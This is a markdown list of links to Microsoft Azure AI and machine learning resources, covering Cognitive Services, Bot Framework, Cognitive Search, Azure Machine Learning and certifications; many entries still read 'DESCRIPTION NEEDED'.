- [Azure Blog](https://azure.microsoft.com/en-us/blog/) - Official blog with announcements, updates, tips and more.
- [Azure Forums](https://azure.microsoft.com/en-us/support/forums/) - Ask questions, get answers and connect with Microsoft engineers and Azure community experts.
- [Blogs: Artificial Intelligence](https://azure.microsoft.com/en-us/blog/topics/artificial-intelligence/) - DESCRIPTION NEEDED.
- [Blogs: AzureCAT Guidance](https://blogs.msdn.microsoft.com/azurecat/) - DESCRIPTION NEEDED.
- [Blogs: Big Data](https://azure.microsoft.com/en-us/blog/topics/big-data/) - DESCRIPTION NEEDED.
- [Blogs: Database](https://azure.microsoft.com/en-us/blog/topics/database/) - DESCRIPTION NEEDED.
- [Blogs: Data Platform](https://blogs.msdn.microsoft.com/data-platform/) - DESCRIPTION NEEDED.
- [Blogs: Data Science](https://azure.microsoft.com/en-us/blog/topics/datascience/) - DESCRIPTION NEEDED.
- [Blogs: Data Warehouse](https://azure.microsoft.com/en-us/blog/topics/data-warehouse/) - DESCRIPTION NEEDED.
- [Blogs: IoT](https://azure.microsoft.com/en-us/blog/topics/internet-of-things/) - DESCRIPTION NEEDED.
- [Azure Updates](https://azure.microsoft.com/en-us/updates/) - Learn about important Azure product updates, roadmap, and announcements. Subscribe to notifications to stay informed (RSS supported).
- [Azure Weekly Newsletter](http://azureweekly.info/) - Azure Weekly is a summary of the week's top news to help you build on the Microsoft Azure Platform. Powered by endjin.com.
- :heart: [Azure Architecture Center](https://docs.microsoft.com/en-us/azure/architecture/) - Application Architecture Guide, Reference Architecture, Microsoft Cloud Adoption Framework for Azure.
- [Machine Learning at Scale](https://docs.microsoft.com/en-us/azure/architecture/data-guide/big-data/machine-learning-at-scale) - DESCRIPTION NEEDED.
- [Azure Data Architecture Guide](https://docs.microsoft.com/en-us/azure/architecture/data-guide/) - DESCRIPTION NEEDED.
- [Azure IoT reference architecture](https://docs.microsoft.com/en-us/azure/architecture/reference-architectures/iot/) - DESCRIPTION NEEDED.
- [DevOps Checklist](https://docs.microsoft.com/en-us/azure/architecture/checklist/dev-ops) - DESCRIPTION NEEDED.
- [Azure Solution Architectures](https://azure.microsoft.com/en-us/solutions/architecture/) - DESCRIPTION NEEDED.
- [Azure Example Scenarios](https://docs.microsoft.com/en-us/azure/architecture/example-scenario/) - DESCRIPTION NEEDED.
- Other general Azure Guides
- [Azure Database Migration Guide](https://datamigration.microsoft.com/) - DESCRIPTION NEEDED.
- (Not just Azure) [Microsoft Research Podcast](https://www.microsoft.com/en-us/research/blog/category/podcast/) - Microsoft Research ongoing Podcast series, touching variety topics on Machine Learning / Machine Teaching, autonomous systems, Quantom Computing, and much more.
<!-- * (Retired) [Azure Interactives: Products, Design Patterns, Security](http://azureinteractives.azurewebsites.net/) -->
### Training Resources
- :heart: [Microsoft Learn](https://docs.microsoft.com/learn) - Interactive learning experience with real environment hands-on along with step-by-step guide.
- :heart: [Microsoft AI School](https://aischool.microsoft.com/en-us/home) - Start page for AI focused learning experiences.
- [AI Business School](https://aischool.microsoft.com/en-us/business/learning-paths) - Learnings of AI for Business leaders, developed with INSEAD.
- [Conversational AI](https://aischool.microsoft.com/en-us/conversational/learning-paths) - Curation of learning materials for Conversational AI.
- [AI Services](https://aischool.microsoft.com/en-us/services/learning-paths) - Curation of learning materials for AI services by Microsoft.
- [Machine Learning](https://aischool.microsoft.com/en-us/machine-learning/learning-paths) - Curation of learning materials for Machine Learning platform and services by Microsoft.
- [Autonomous Systems](https://aischool.microsoft.com/en-us/autonomous-systems/learning-paths) - Curation of learning materials on AirSim, Microsoft Autonomous Systems AI Toolchain (Machine Teaching).
- [Responsible AI](https://aischool.microsoft.com/en-us/responsible-ai/learning-paths) - Application of AI for social impact, design guidelines for Ethical AI, technical libraries like Homographic Encryption etc.
- Others
- [Microsoft AI Lab](https://www.ailab.microsoft.com/) - DESCRIPTION NEEDED.
- [Azure Training Courses](https://azure.microsoft.com/en-us/training/) - DESCRIPTION NEEDED.
- [Azure Certification: Where to Start?](https://buildazure.com/2016/09/29/azure-certification-where-to-start-2016-edition/) - DESCRIPTION NEEDED.
- [Learn AI @ MS](http://learnanalytics.microsoft.com/home/index) - DESCRIPTION NEEDED.
- [Learn Analytics Materials](https://azure.github.io/learnAnalytics-public/) - DESCRIPTION NEEDED.
- [edX.org Courses on Azure](https://www.edx.org/course?search_query=azure) - DESCRIPTION NEEDED.
- [Microsoft Hands-On Labs](https://www.microsoft.com/handsonlabs) - DESCRIPTION NEEDED.
- [Microsoft Cloud Workshops](https://github.com/Microsoft/MCW) - DESCRIPTION NEEDED.
- [Azure Readiness GitHub Repos](https://github.com/Azure-Readiness) - DESCRIPTION NEEDED.
- [Academic Resources for Computer Science](https://github.com/Microsoft/computerscience) - DESCRIPTION NEEDED.
- [Videos: Channel 9](https://channel9.msdn.com/) - DESCRIPTION NEEDED.
- [AWS to Azure Services Comparison](https://docs.microsoft.com/en-us/azure/architecture/aws-professional/services) - DESCRIPTION NEEDED.
### Technical Certifications
- [Microsoft Certifications](https://docs.microsoft.com/en-us/learn/certifications/) - Role-based certifications for Developers, Administrators, Solution Architects, Data Engineers, Data Scientists, AI Engineers, DevOps Engineers, Security Engineers, and Functional Consultants.
- Certifications (Role based)
- [Data Engineer](https://docs.microsoft.com/en-us/learn/certifications/roles/data-engineer) - Data Engineers design and implement the management, monitoring, security, and privacy of data using the full stack of data services.
- [Data Scientist](https://docs.microsoft.com/en-us/learn/certifications/roles/data-scientist) - Data Scientists apply machine learning techniques to train, evaluate, and deploy models that solve business problems.
- [AI Engineer](https://docs.microsoft.com/en-us/learn/certifications/roles/ai-engineer) - AI Engineers use Cognitive Services, Machine Learning, and Knowledge Mining to architect and implement Microsoft AI solutions.
- [DevOps Engineer](https://docs.microsoft.com/en-us/learn/certifications/roles/devops-engineer) - DevOps Engineers combine people, process, and technologies to continuously deliver valuable products and services that meet end user needs and business objectives.
- Exams
- Active
- [AI-100](https://docs.microsoft.com/en-us/learn/certifications/exams/ai-100) - Designing and Implementing an Azure AI Solution.
- [DP-100](https://docs.microsoft.com/en-us/learn/certifications/exams/dp-100) - Designing and Implementing a Data Science Solution on Azure.
- [DP-200](https://docs.microsoft.com/en-us/learn/certifications/exams/dp-200) - Implementing an Azure Data Solution.
- [DP-201](https://docs.microsoft.com/en-us/learn/certifications/exams/dp-201) - Designing an Azure Data Solution.
- Old
- [70-473](https://www.microsoft.com/en-us/learning/exam-70-473.aspx) - Designing and Implementing Cloud Data Platform Solutions.
- [70-475](https://www.microsoft.com/en-us/learning/exam-70-475.aspx) - Designing and Implementing Big Data Analytics Solutions.
- [70-773](https://www.microsoft.com/en-us/learning/exam-70-773.aspx) - Analyzing Big Data with Microsoft R.
- [70-774](https://www.microsoft.com/en-us/learning/exam-70-774.aspx) - Perform Cloud Data Science with Azure Machine Learning.
- [70-775](https://www.microsoft.com/en-us/learning/exam-70-775.aspx) - Perform Data Engineering on Microsoft Azure HDInsight.
- [70-776](https://www.microsoft.com/en-us/learning/exam-70-776.aspx) - Perform Big Data Engineering on Microsoft Cloud Services.
- [70-778](https://www.microsoft.com/en-us/learning/exam-70-778.aspx) - Analyzing and Visualizing Data with Microsoft Power BI.
- MPPs now retired
- [Microsoft Professional Program – Artificial Intelligence](https://academy.microsoft.com/en-us/professional-program/tracks/artificial-intelligence/)
- [Microsoft Professional Program – Big Data](https://academy.microsoft.com/en-us/professional-program/big-data/)
- [Microsoft Professional Program – Data Science](https://academy.microsoft.com/en-us/professional-program/data-science/)
- [Microsoft Professional Program – Internet of Things](https://academy.microsoft.com/en-us/professional-program/tracks/internet-of-things/)
- - -
## AI + Machine Learning
*Artificial intelligence productivity for every developer and every scenario*
- [Overview](https://azure.microsoft.com/en-us/overview/ai-platform/) - DESCRIPTION NEEDED.
- [Blog](https://blogs.technet.microsoft.com/machinelearning/) - DESCRIPTION NEEDED.
- [AI News](https://news.microsoft.com/ai/) - DESCRIPTION NEEDED.
- [AI Gallery](https://gallery.azure.ai/) - DESCRIPTION NEEDED.
- [Solution Architectures](https://azure.microsoft.com/en-us/solutions/architecture/) - DESCRIPTION NEEDED.
- [Solution Templates](https://gallery.azure.ai/solutions) - DESCRIPTION NEEDED.
- [Application Gallery](https://appsource.microsoft.com/en-us/marketplace/apps?category=artifical-intelligence) - DESCRIPTION NEEDED.
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=cortana%20intelligence) - DESCRIPTION NEEDED.
### AI Apps and Agents
*Deliver breakthrough experiences in your apps*
#### Azure Cognitive Services
*A collection of APIs to tap into vision, speech, language, knowledge, and search technologies*
- [Overview (List of APIs)](https://azure.microsoft.com/en-us/services/cognitive-services/) - A comprehensive family of AI services and cognitive APIs to help you build intelligent apps.
- [Blog](https://azure.microsoft.com/en-us/blog/topics/cognitive-services/) - Azure Cognitive Services Blog.
- [Documentation](https://docs.microsoft.com/en-us/azure/cognitive-services/) - Learn how to build intelligent and supported algorithms into apps, websites, and bots to see, hear, speak, understand, and interpret your user needs.
- Decison
- Anomaly Detector
- Content Moderator
- [Personalizer](https://docs.microsoft.com/en-us/azure/cognitive-services/personalizer/how-personalizer-works) - The Personalizer resource, your learning loop, uses machine learning to build the model that predicts the top action for your content.
- [Samples](https://github.com/Azure-Samples/cognitive-services-personalizer-samples)
- [Demo1](https://personalizationdemo.azurewebsites.net/)
- [Demo2](https://personalizercontentdemo.azurewebsites.net/)
- [Microsoft Recommender Git repo](https://github.com/microsoft/recommenders) - Best Practices on Recommendation Systems.
- Language
- Immersive Reader
- Language Understanding
- QnA Maker
- Text Analytics
- Translator Text
- [Custom Translator Portal](https://portal.customtranslator.azure.ai/) - Learn how to customize Microsoft Translator's neural text and speech translation systems using your own training data to fit your style and terminology.
- [Microsoft Translator](https://translator.microsoft.com/) - Translated conversations across devices, for one-on-one chats and for larger group interactions.
- [Microsoft Translator Git Repo](https://github.com/MicrosoftTranslator) - Samples and utilities for Microsoft Translator.
- Speech
- Speech to Text
- Text to Speech
- Speech Translation
- Speaker Recognition
- [Speech Studio](https://speech.microsoft.com/portal/)
- [Custom Speech](https://docs.microsoft.com/en-us/azure/cognitive-services/speech-service/how-to-custom-speech) - A set of online tools that allow you to evaluate and improve Microsoft's speech-to-text accuracy for your applications, tools, and products.
- [Custom Keyword](https://docs.microsoft.com/en-us/azure/cognitive-services/speech-service/speech-devices-sdk-create-kws) - Customizing your keyword is an effective way to differentiate your device and strengthen your branding.
- Custom Voice - Record and upload training data to create a one-of-a-kind voice for your applications.
- [Audio Content Creation](https://docs.microsoft.com/en-us/azure/cognitive-services/speech-service/how-to-audio-content-creation) - Manage SSML files.
- Custom Commands - Easily configure commands, so that users can complete tasks using their voice.
- [Speech CLI](https://docs.microsoft.com/en-us/azure/cognitive-services/speech-service/spx-basics?tabs=windowsinstall) - Command line tool for using the Speech service without writing any code, it is production-ready and can be scaled up to run larger processes using automated .bat or shell scripts.
- Vision
- Computer Vision
- Custom Vision
- [Custom Vision Service Portal](https://www.customvision.ai/) - Customize your own state-of-the-art computer vision models that fit with your unique use case by just bringing a few examples of labeled images.
- Face
- Form Recognizer
- Ink Recognizer
- Video Indexer
- [Video Indexer Portal](https://vi.microsoft.com/en-us/) - Easily extract insights from your videos and quickly enrich your applications to enhance discovery and engagement.
- Web search
- Bing Autosuggest
- Bing Custom Search
- Bing Entity Search
- Bing Image Search
- Bing News Search
- Bing Spell Check
- Bing Video Search
- Bing Visual Search
- Bing Web Search
- [Cognitive Research Technologies](https://www.microsoft.com/en-us/research/group/cognitive-research/) - This set of innovative APIs and SDKs provides researchers and developers with an early look at emerging cognitive capabilities.
- From Ignite
- :heart: [AIML20: Using Pre-Built AI to Solve Business Challenges](https://github.com/microsoft/ignite-learning-paths-training-aiml/tree/master/aiml20) - Computer Vision, Custom Vision, ONNX, and Personalizer.
- [Vowpal Wabbit](https://vowpalwabbit.org/) - Vowpal Wabbit for reinforcement learning (contextual bandit, learning to search), supervised learning (active learning, extreme
- [Recommendations Solution](https://gallery.cortanaintelligence.com/Tutorial/Recommendations-Solution) - (Old) Azure AI Gallery template for Recommendations Solution.
- Intelligent Kiosk
- [GitHub](https://github.com/Microsoft/Cognitive-Samples-IntelligentKiosk) - Find several demos showcasing workflows and experiences built on top of the Microsoft Cognitive Services.
- [MS Store](https://www.microsoft.com/en-sg/store/p/intelligent-kiosk/9nblggh5qd84) - On Microsoft Store: From face identification, emotion understanding and computer vision, to bots, text analytics and Bing services, the kiosk is your toolbox of AI demos, ready whenever you need an intuitive and engaging way of showing off Microsoft AI.
- [Tutorial: Build Mobile App with Chat](https://github.com/Microsoft/Build-Mobile-App-with-Chat) - The tutorial uses several Azure services to power a real-time chat infrastructure that is readymade for analytics.
- [Microsoft Azure Developer: Creating and Integrating AI with Azure Services](https://www.pluralsight.com/courses/microsoft-azure-developer-creating-integrating-ai-azure-services) - Explore the landscape of AI in the Microsoft space, and examine some practical examples to get you started.
- [Python SDK Samples](https://github.com/Azure-Samples/cognitive-services-python-sdk-samples) - Learn how to use the Cognitive Services Python SDK with these samples.
- [C# SDK Samples](https://github.com/Azure-Samples/cognitive-services-dotnet-sdk-samples) - Learn how to use the Cognitive Services C# SDK with these samples.
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Cognitive%20Services) - Channel 9: Cognitive Services.
#### Microsoft Bot Framework
*A framework to build and deploy high-quality bots for conversation experiences*
- Get Started online documentations
- [Azure Bot Service Overview](https://azure.microsoft.com/en-us/services/bot-service/) - DESCRIPTION NEEDED.
- [Bot Framework Documentation](https://docs.microsoft.com/en-us/bot-framework/) - DESCRIPTION NEEDED.
- [Azure Bot Service Documentation](https://docs.microsoft.com/en-us/bot-framework/azure/azure-bot-service-overview) - DESCRIPTION NEEDED.
- Highlights from official online documentations
- [Bot Framework Overview](https://dev.botframework.com/) - DESCRIPTION NEEDED.
- [Frequently Asked Questions](https://docs.microsoft.com/en-us/bot-framework/resources-bot-framework-faq) - DESCRIPTION NEEDED.
- [Add Intelligence with Cognitive Services](https://docs.microsoft.com/en-us/bot-framework/cognitive-services-bot-intelligence-overview) - DESCRIPTION NEEDED.
- [Bot Framework Emulator](https://docs.microsoft.com/en-us/bot-framework/debug-bots-emulator) - DESCRIPTION NEEDED.
- [Bot Analytics](https://docs.microsoft.com/en-us/bot-framework/portal-analytics-overview) - DESCRIPTION NEEDED.
- [Channel Inspector](https://docs.botframework.com/en-us/channel-inspector/channels/Skype/) - DESCRIPTION NEEDED.
- [Principles of Bot Design](https://docs.microsoft.com/en-us/bot-framework/bot-design-principles) - DESCRIPTION NEEDED.
- [Templates in the Azure Bot Service](https://docs.microsoft.com/en-us/bot-framework/azure-bot-service-templates) - DESCRIPTION NEEDED.
- Blogs
- [Blog](https://blog.botframework.com/) - DESCRIPTION NEEDED.
- [Great List of Resources](https://blogs.msdn.microsoft.com/smich/2016/09/30/microsoft-bot-framework-resources/) - DESCRIPTION NEEDED.
- Related GitHub repos
- [Bot Framework WebChat](https://github.com/microsoft/botframework-webchat) - DESCRIPTION NEEDED.
- [Bot Builder SDK](https://github.com/Microsoft/BotBuilder) - DESCRIPTION NEEDED.
- [Bot Builder Samples](https://github.com/Microsoft/BotBuilder-Samples) - DESCRIPTION NEEDED.
- Relevant services
- [Language Understanding Intelligent Service](https://www.luis.ai/) - DESCRIPTION NEEDED.
- [QnA Maker](https://qnamaker.ai/) - DESCRIPTION NEEDED.
- Training materials
- [Video: Getting Started with Bots](https://mva.microsoft.com/en-us/training-courses/getting-started-with-bots-16759?l=2zTAb2HyC_3504668937) - DESCRIPTION NEEDED.
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=bot%20framework) - DESCRIPTION NEEDED.
- e-books
- [Developing Bots with Microsoft Bots Framework: Create Intelligent Bots using MS Bot Framework and Azure Cognitive Services](https://read.amazon.com/kp/embed?asin=B077Z79PW2&preview=newtab&linkCode=kpe&ref_=cm_sw_r_kb_dp_-rYfFbJ39A62W) - by Srikanth Machiraju, Ritesh Modi
### Knowledge Mining
*Uncover latent insights from all your content*
#### Azure Cognitive Search
*AI-powered cloud search service for web and mobile app development*
- Official Getting Started documentations
- [Overview](https://azure.microsoft.com/en-us/services/search/) - DESCRIPTION NEEDED.
- [Blog](https://azure.microsoft.com/en-us/blog/tag/azure-search/) - DESCRIPTION NEEDED.
- [Documentation](https://docs.microsoft.com/en-us/azure/search/) - DESCRIPTION NEEDED.
- [Cognitive Search](https://docs.microsoft.com/en-us/azure/search/cognitive-search-concept-intro)
- Demos - DESCRIPTION NEEDED.
- [The MET](http://art-explorer.azurewebsites.net/) - DESCRIPTION NEEDED.
- [JFK files](https://jfk-demo.azurewebsites.net/) - DESCRIPTION NEEDED.
- [Wolter Kluwer](https://wolterskluwereap.azurewebsites.net/) - DESCRIPTION NEEDED.
- [Document Search (healthcare/news/legal/HR)](http://documentsearch.azurewebsites.net/) - DESCRIPTION NEEDED.
- [Contoso Manufacturing](https://contoso-manufacturing.azurewebsites.net/home) - DESCRIPTION NEEDED.
- [COVID19 Search](https://github.com/liamca/covid19search) - Demo and setup instructions for your own Cognitive Search based Covid-19 Search App.
- Further industrial applications
- Academic Dataset Integration
- [Patent Search](https://docs.microsoft.com/en-us/academic-services/graph/tutorial-azure-search-org-patents) - DESCRIPTION NEEDED.
- [Academic Reference Parsing](https://docs.microsoft.com/en-us/academic-services/graph/tutorial-azure-search-reference-parsing) - DESCRIPTION NEEDED.
- Bootcamps / Workshop Materials
- [Knowledge Mining Bootcamp](https://github.com/Azure/LearnAI-KnowledgeMiningBootcamp) - Training material from Azure AI Customer Engineering (ACE) team.
- [Knowledge Mining Solution Accelerator](https://github.com/Azure-Samples/azure-search-knowledge-mining) - Working sample with customizable UI template, custom skills, Power BI integration.
- [Knowledge Mining Solution Accelerator (workshop)](https://github.com/Azure-Samples/azure-search-knowledge-mining/tree/master/workshops) - Step-by-step hands-on workshop guides from KM Solution Accelerator.
- :heart: [Mark Heffner's KM Workshop](https://github.com/MarkHeff/KM-Workshop-1) - In-depth workshop content including Knowledge Store, using web frontend, custom skills and Functions, Object Model, Analyzer and Scoring Profiles, Power BI etc.
- From Ignite
- :heart: [AIML10: Making Sense of your Unstructured Data with AI](https://github.com/microsoft/ignite-learning-paths-training-aiml/tree/master/aiml10) - Cover ingest-enrich-explore pattern, skillsets, cognitive skills, natural language processing, computer vision, and beyond.
- KM Solutions
- [Sharepoint Connector](https://github.com/anevjes/AzureSearch.SharePointOnline) - DESCRIPTION NEEDED.
- Training materials
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=azure%20search&lang-en=true) - DESCRIPTION NEEDED.
### Machine Learning
*Quickly and easily build, train, deploy and manage your models*
#### Azure Machine Learning
*Cloud-based environment you can use to train, deploy, automate, manage, and track ML models.*
- Official Getting Started
- [Overview](https://azure.microsoft.com/en-us/services/machine-learning/) - Overview of Azure ML.
- [Documentation](https://docs.microsoft.com/en-us/azure/machine-learning/service/) - Go-to-page for the most recent documentation.
- [What is Azure Machine Learning?](https://docs.microsoft.com/en-us/azure/machine-learning/overview-what-is-azure-ml) - Key concepts of Azure ML.
- [Comparison of Microsoft ML Products](https://docs.microsoft.com/en-us/azure/architecture/data-guide/technology-choices/data-science-and-machine-learning) - Inclusive of Cloud and On-premises solutions.
- Highlights from online documentations
- [Architecture and Concepts](https://docs.microsoft.com/en-us/azure/machine-learning/concept-azure-machine-learning-architecture) - Workflow, Tools, Glossary.
- :heart: [MLOps Concepts](https://docs.microsoft.com/en-us/azure/machine-learning/concept-model-management-and-deployment) - MLOps: Model management, deployment and monitoring with Azure Machine Learning.
- e-book: [Agile Project Management with Azure DevOps: Concepts, Templates, and Metrics](https://read.amazon.com/kp/embed?asin=B07R6GJM2W&preview=newtab&linkCode=kpe&ref_=cm_sw_r_kb_dp_noYfFb42VBG7Y) - by Joachim Rossberg.
- TwiML Podcast: [TwiML-Enterprise Readiness, MLOps and Lifecyle Management](https://twimlai.com/twiml-talk-321-enterprise-readiness-mlops-and-lifecycle-management-with-jordan-edwards/) - TwiML Podcast with Jordan Edwards.
- [Automated Machine Learning](https://docs.microsoft.com/en-us/azure/machine-learning/concept-automated-ml) - Covers when to use it, how it works, pre-processing, how to avoid overfitting, ensemble models, imbalanced data etc.
- [Interpretability](https://docs.microsoft.com/en-us/azure/machine-learning/how-to-machine-learning-interpretability) - Why it matters, how it is implemented in Azure ML (SHAP, Mimic, Permutation Feature Importance, LIME, HAN, Tabular).
- [Designer](https://docs.microsoft.com/en-us/azure/machine-learning/concept-designer) - No-code ML experience that spans data preparation, model training, and deployment.
- [Enterprise Security](https://docs.microsoft.com/en-us/azure/machine-learning/concept-enterprise-security) - Authentication, authorization, network security, data encryption, monitoring, data flow diagrams with Azure ML.
- Samples, Tutorials, Reference Architectures, Templates, Solution Accelerators
- :heart: [Azure ML Sample Notebooks](https://github.com/Azure/MachineLearningNotebooks) - The most recent code samples and tutorials of Azure ML.
- :heart: [Examples: MLOps with Azure ML](https://github.com/microsoft/MLOps) - MLOps best practices and samples.
- [Azure Architecture Center-AI and ML](https://docs.microsoft.com/en-us/azure/architecture/data-guide/big-data/machine-learning-at-scale) - ML at Scale Reference Architectures
- [Training Python models](https://docs.microsoft.com/en-us/azure/architecture/reference-architectures/ai/training-python-models)
- [Distributed training of deep learning models on Azure](https://docs.microsoft.com/en-us/azure/architecture/reference-architectures/ai/training-deep-learning)
- [Batch scoring of Python machine learning models on Azure](https://docs.microsoft.com/en-us/azure/architecture/reference-architectures/ai/batch-scoring-python)
- [Batch scoring of deep learning models on Azure](https://docs.microsoft.com/en-us/azure/architecture/reference-architectures/ai/batch-scoring-deep-learning)
- [Real-time scoring of Python scikit-learn and deep learning models on Azure](https://docs.microsoft.com/en-us/azure/architecture/reference-architectures/ai/realtime-scoring-python)
- [Machine learning operationalization (MLOps) for Python models using Azure Machine Learning](https://docs.microsoft.com/en-us/azure/architecture/reference-architectures/ai/mlops-python)
- [Azure ML Workspace creation template (ARM)](https://github.com/Azure/azure-quickstart-templates/tree/master/201-machine-learning-advanced) - Advanced Azure Machine Learning workspace creation templates supporting approval(auto/manual) private endpoint, customer managed key, link to Azure Databricks workspace, virtual network.
- [Solution Accelerator for Many Models](https://github.com/microsoft/solution-accelerator-many-models/) - Quick starter for Many Models with Azure ML using ParallelRunStep, Pipeline, Automated ML.
- [Step-by-step guide to provision secure ML workspace](https://github.com/jhirono/amlsecurity) - Securing Azure ML Workspace using Private Link and VNET
- SDK/CLI References
- [Azure ML Python SDK](https://docs.microsoft.com/en-us/python/api/overview/azure/ml/intro)
- [Azure ML R SDK](https://azure.github.io/azureml-sdk-for-r/reference/index.html)
- [Azure ML CLI](https://docs.microsoft.com/en-us/azure/machine-learning/service/reference-azure-machine-learning-cli)
- [Azure ML REST API](https://docs.microsoft.com/en-us/rest/api/azureml/)
- Blogs
- [The AI Blog](https://blogs.microsoft.com/ai/) - From The Official Microsoft Blog.
- Learning materials
- [Free eBook: Packt: Principles of Data Science, 5/10/2019](https://azure.microsoft.com/en-us/resources/principles-of-data-science/) - A beginner's guide to statistical techniques and theory.
- [Video Series: Data Science for Beginners](https://azure.microsoft.com/en-us/documentation/articles/machine-learning-data-science-for-beginners-the-5-questions-data-science-answers/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Azure%20Machine%20Learning)
- AI at Edge
- [Vision AI DevKit docs](https://azure.github.io/Vision-AI-DevKit-Pages/docs/Get_Started/) - Get Started resources for VAIDK.
- [Vision AI DevKit GitHub](https://github.com/Microsoft/vision-ai-developer-kit) - Vision AI Developer Kit Camera SDK, Machine Learning Notebooks, REST API PostMan collection, and other samples.
- [AI Video Intelligence Solution Accelerator](https://github.com/Azure-Samples/AI-Video-Intelligence-Solution-Accelerator) - How to deploy an end-to-end IoT Edge, including Azure Data Box Edge, based solution that processes camera feeds using CPU, GPU, and FPGA Azure Machine Learning accelerated models.
- [NVIDIA Deepstream + Azure IoT Edge on a NVIDIA Jetson Nano](https://github.com/Azure-Samples/NVIDIA-Deepstream-Azure-IoT-Edge-on-a-NVIDIA-Jetson-Nano) - How to do real-time video analytics with NVIDIA DeepStream connected to Azure via Azure IoT Edge. It uses a NVIDIA Jetson Nano device that can process up to 8 real-time video streams concurrently.
- Non-Azure general and useful resources
- [Data Science Lifecycle Process](https://github.com/dslp/dslp) - Best practices for data science teams, including issue templates, branching strategy, workflows, labels, standard repo structure.
- Azure ML Studio (classic)
> Note: Check out the [Designer](https://docs.microsoft.com/en-us/azure/machine-learning/service/concept-designer) which is an evolution of Azure ML Studio (classic) and is now integrated with Azure Machine Learning.
- [Overview](https://azure.microsoft.com/en-us/services/machine-learning-studio/)
- [Documentation](https://docs.microsoft.com/en-us/azure/machine-learning/studio/)
- [How to Choose Algorithms for AzureML Studio](https://azure.microsoft.com/en-us/documentation/articles/machine-learning-algorithm-choice/)
- [Re-train a Machine Learning Model](https://azure.microsoft.com/en-us/documentation/articles/machine-learning-retrain-machine-learning-model/)
- [Experiments Gallery](https://gallery.cortanaintelligence.com/experiments)
- [Templates Gallery](https://gallery.cortanaintelligence.com/Collection/Machine-Learning-Templates-with-Azure-ML-Studio-1)
- [R Client](https://github.com/RevolutionAnalytics/AzureML)
- [Python Client](https://github.com/Azure/Azure-MachineLearning-ClientLibrary-Python)
- [PowerShell Commandlet Library](https://github.com/hning86/azuremlps)
- [Operationalizing ML Models](https://docs.microsoft.com/en-us/azure/machine-learning/studio/publish-a-machine-learning-web-service)
- [Hands-On Lab](https://github.com/Azure-Readiness/hol-azure-machine-learning)
- [Free eBook](https://blogs.msdn.microsoft.com/microsoft_press/2015/04/15/free-ebook-microsoft-azure-essentials-azure-machine-learning/)
#### Deep Learning on Azure
> This whole section is planned to be reorganized (product-related, tools, DL frameworks, MLOps/DevOps)
- Azure Data Science VMs
> Azure VM images pre-installed and configured with popular tools for analytics and machine learning
- [Overview](https://azure.microsoft.com/en-us/services/virtual-machines/data-science-virtual-machines/)
- [Documentation](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/)
- [What's included in the Data Science VM?](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/overview#whats-included-in-the-data-science-vm)
- [Tools, Platforms, Utilities, and Samples](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/dsvm-tools-overview)
- [Provision the Windows Data Science Virtual Machine](https://azure.microsoft.com/en-us/documentation/articles/machine-learning-data-science-provision-vm/)
- [Provision the Linux Data Science Virtual Machine](https://azure.microsoft.com/en-us/documentation/articles/machine-learning-data-science-linux-dsvm-intro/)
- [Provision the Deep Learning Virtual Machine](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/provision-deep-learning-dsvm)
- [Ten things you can do on the Data science Virtual Machine](https://azure.microsoft.com/en-us/documentation/articles/machine-learning-data-science-vm-do-ten-things/)
- [AzureSMR R Package: Manage and Interact with Azure Resources](https://github.com/Microsoft/AzureSMR)
- [AzureDSVM R Package: Manage and Interact with DSVMs on Azure](https://github.com/Azure/AzureDSVM)
- [AZKT: Azure Distributed Data Engineering Toolkit](https://github.com/Azure/aztk)
- Azure Batch AI
> (TBU) Batch AI is now Azure ML Compute.
- [Overview](https://azure.microsoft.com/en-us/services/batch-ai/)
- [Documentation](https://docs.microsoft.com/en-us/azure/batch-ai/)
- [Distributed Training Using Horovod](https://docs.microsoft.com/en-us/azure/batch-ai/tutorial-horovod-tensorflow)
- [Recipes for AI Frameworks](https://github.com/Azure/BatchAI)
- Azure Machine Learning Service
- [Overview](https://docs.microsoft.com/en-us/azure/machine-learning/service/)
- [Train PyTorch models](https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-train-pytorch)
- [Train TensorFlow models](https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-train-tensorflow)
- [Tune Hyperparameters](https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-tune-hyperparameters)
- [Open Neural Network Exchange (ONNX)](https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-build-deploy-onnx)
- [ONNX](https://github.com/onnx)
- [ONNX Runtime](https://github.com/microsoft/onnxruntime)
- Deep Learning on Azure Databricks
- [Overview](https://docs.microsoft.com/en-us/azure/databricks/applications/deep-learning/)
- [Deep Learning Pipelines](https://docs.microsoft.com/en-us/azure/databricks/applications/deep-learning/single-node-training/deep-learning-pipelines)
- [Distributed Deep Learning](https://docs.microsoft.com/en-us/azure/databricks/applications/deep-learning/distributed-training/horovod-runner)
- Deep Learning on Azure HDInsight
- [Microsoft Machine Learning for Apache Spark](https://github.com/Azure/mmlspark)
- [Using CNTK and TensorFlow](https://blogs.technet.microsoft.com/machinelearning/2017/04/12/embarrassingly-parallel-image-classification-using-cognitive-toolkit-tensorflow-on-azure-hdinsight-spark/)
- [Using Caffe](https://docs.microsoft.com/en-us/azure/hdinsight/spark/apache-spark-deep-learning-caffe)
- [Using BigDL](https://azure.microsoft.com/en-us/blog/use-bigdl-on-hdinsight-spark-for-distributed-deep-learning/)
- [Using H2O.ai](https://azure.microsoft.com/en-us/blog/introducing-h2o-ai-with-on-azure-hdinsight-to-bring-the-most-robust-ai-platform-for-enterprises/)
- [Deep Learning Virtual Machine](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/deep-learning-dsvm-overview)
- [Operationalize Python, Spark, CNTK & TensorFlow Models on AzureML](https://docs.microsoft.com/en-us/azure/machine-learning/preview/deployment-setup-configuration)
- [Lab: Train & Serve TensorFlow Models with Kubernetes, Kubeflow and AKS](https://github.com/Azure/kubeflow-labs)
- [Developing and Operationalizing H2O.ai Models with Azure](https://blogs.technet.microsoft.com/machinelearning/2017/11/28/developing-and-operationalizing-h2o-ai-models-with-azure/)
